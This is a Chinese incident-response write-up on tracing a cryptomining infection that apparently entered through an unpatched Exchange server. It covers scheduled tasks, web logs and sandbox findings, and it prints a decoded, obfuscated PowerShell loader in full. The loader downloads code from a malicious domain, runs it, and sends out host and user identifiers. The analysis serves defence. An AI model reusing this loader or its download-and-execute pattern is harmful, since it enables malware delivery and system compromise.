应急实战 | 记一次日志缺失的挖矿排查

简介: 应急实战 | 记一次日志缺失的挖矿排查


感谢群友
@沉默树人老哥的投稿,感谢分享  。这篇文章详细记录了他在一次应急实战中对于日志缺失时对挖矿程序排查的过程,希望大家能够从中有所收获。


午后梦中惊坐起,电话一来要应急。那是我下了夜班在睡觉,然后来电话了,又要整应急了。急匆匆开电脑,打开手机看了一眼微信,两个现场的同事发在群里的图了。是日志。

  • “你那边什么情况,有点像哈希传递。”
  • “被挖矿了,但是这边的运维重装过主机。”
  • “我去,截下来样本没,排查完了吗?”
  • “一部分日志和样本截留下来了,但是还没排查完,帮忙看看怎么进来。”


PS:以下数据已经脱敏,聊天记录不会截图,只分享经验和思路,这是一次条件极为有限的排查。


0x01 确认到手情报

首先来看一下,同事手上有啥情报。

  • 1.在被感染主机上发现计划任务。
  • 2.拉取了主机上web日志,发现存在哈希传递。
  • 3.powershell下提取到了攻击样本。
  • 4.感染了10台左右主机,已经重装系统。
  • 5.暂时认定邮件系统为打击入口。


好吧,其实问题不大。【都被清光了】,我过去只是大概还原一下攻击过程、清理痕迹和写报告。


0x02 分析攻击行为

康康到底是咋回事,接下来一条一条情报来分析。

天融信的设备发出的告警如下:

一、确认打击点、利用点
1.常规排查

网络外连情况:无特殊情况。

开机启动项情况:没有自动项

最近启动程序情况:没有乱码程序启动

windows安全日志情况:

无新增用户、没有日志都是登陆,注销日志没有异常

2.计划任务排查:

计划任务名称:backball、backball1

启动路径结合下面的web日志可以看出是powershell下的一个乱码程序

触发器:在首次触发后,无限期地每隔02:00:00重复一次。


3.web日志

在web日志中,可以看见大量的POST请求,访问的是exchage邮件服务器。并且通过mailbox字段可以知道,已经泄露出了一个邮箱,攻击者应该就是从这里进来的。


二、还原攻击过程

三、攻击样本分析

1.先看沙箱分析

沙箱中已经存在这种恶意文件,也就是说之前有人提交过。

(1)发现一个外连地址 1.117.58.154,被标红了。

(2)该恶意文件可以检查宿主机的内存和网络接口,以此反虚拟机。

(3)开启端口并监听,获取系统时间。


2.powershell分析

其实只分析那个Powershell就够了,ps1文件解码出来太大了,如果需要请私信我。


解码后的ps1文件:

    powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('xpVT7bCpITDUjAvmzli55WPVFPjQBos7o9/ZbbWzyeaKIn9NLJwvY6ad3rMGoXzT6mz+51VupKm5TQvk79oVK4QQDZErhr0szpUdW79j2WPhbmpZrwMdgmFHrqG6Np+InWy/V1acp09/W9x54mpQ1EHIos1+JhSrYPaq8WtsGW0=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.jus'+'anrihua.com';a($url+'/a.jsp?rep_20210713?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))


    大概就是:从这里能看出来大部分东西了,生成的exe也是能被杀的,分析也没啥意义


    0x03 总结

    通过分析得出,因为该服务器的exchange版本过低且没有进行补丁更新。被攻击者成功利用最近的exchange漏洞攻入,并利用计划任务的方法达到定时启动恶意挖矿程序和不死属性驻留主机。


    通过特征可以溯源出是cs的powershell马,然后将其解码可以知道它的行为。


    因为缺乏全流量设备的支撑,无法获取dns解析记录、相关IPS日志等监控记录,部分Windows日志也被重装丢失掉,只能到此为止。

    相关链接:

    //国外相关分析
    https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html
     //github记录木马表格
    https://github.com/sophoslabs/IoCs/blob/master/Trojan-LDMiner.csv
    //沙箱分析记录
    https://s.threatbook.cn/report/file/fae6a3a4e5b11cdc8a982798167de4c1aafd101cc8726ba520c420d1ef381a9d/?env=win7_sp1_enx64_office2013
    //powershell混淆解码
    https://www.freebuf.com/articles/system/181697.html 
    //解码ps1
    https://www.powershellgallery.com/packages/PowerSploit/3.0.0.0/Content/CodeExecution%5CInvoke-ReflectivePEInjection.ps1
    相关实践学习
    日志服务之使用Nginx模式采集日志
    本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
    相关文章
    |
    6月前
    |
    Dubbo Java 应用服务中间件
    项目中引进这玩意,排查日志又快又准
    随着微服务盛行,很多公司都把系统按照业务边界拆成了很多微服务,在排错查日志的时候,因为业务链路贯穿着很多微服务节点,导致定位某个请求的日志以及上下游业务的日志会变得有些困难。
    |
    7月前
    |
    Web App开发 运维 Java
    如何基于mPaaS的闪退日志进行闪退排查
    目前 mPaas Android是使用的是Crash SDK对闪退进行的处理,CrashSDK 是 Android 平台上一款功能强大的崩溃日志收集 SDK,有着极高的崩溃收集率和完整、全面的崩溃日志信息,生成的日志内容非常利于问题的跟进和解决。在我们的日常运维中,经常遇到一些闪退,无法直接从闪退堆栈看到原因,尤其是一些非Java的Native的闪退,这里分享下在mPaas框架下怎么使用Crash SDK对闪退进行分析。
    209 0
    |
    7月前
    |
    SQL 关系型数据库 MySQL
    开源数据库Mysql_DBA运维实战 (DCL/日志)
    开源数据库Mysql_DBA运维实战 (DCL/日志)
    |
    2月前
    |
    运维 Ubuntu Linux
    【Linux操作系统】探秘Linux奥秘:日志管理的解密与实战
    【Linux操作系统】探秘Linux奥秘:日志管理的解密与实战
    46 0
    |
    8月前
    |
    人工智能 监控 Java
    SpringBoot实战(十三):Spring Boot Admin 动态修改日志级别
    SpringBoot实战(十三):Spring Boot Admin 动态修改日志级别
    342 0
    |
    3月前
    |
    存储 Java
    jvm性能调优实战 - 23 模拟Young GC的发生及分析GC日志
    jvm性能调优实战 - 23 模拟Young GC的发生及分析GC日志
    45 0
    |
    4月前
    日志 问题排查
    日志 问题排查
    18 1
    |
    4月前
    |
    SQL 数据采集 数据挖掘
    nginx+flume网络流量日志实时数据分析实战
    nginx+flume网络流量日志实时数据分析实战
    102 0
    |
    4月前
    |
    SQL 大数据 HIVE
    每天一道大厂SQL题【Day09】充值日志SQL实战
    每天一道大厂SQL题【Day09】充值日志SQL实战
    30 0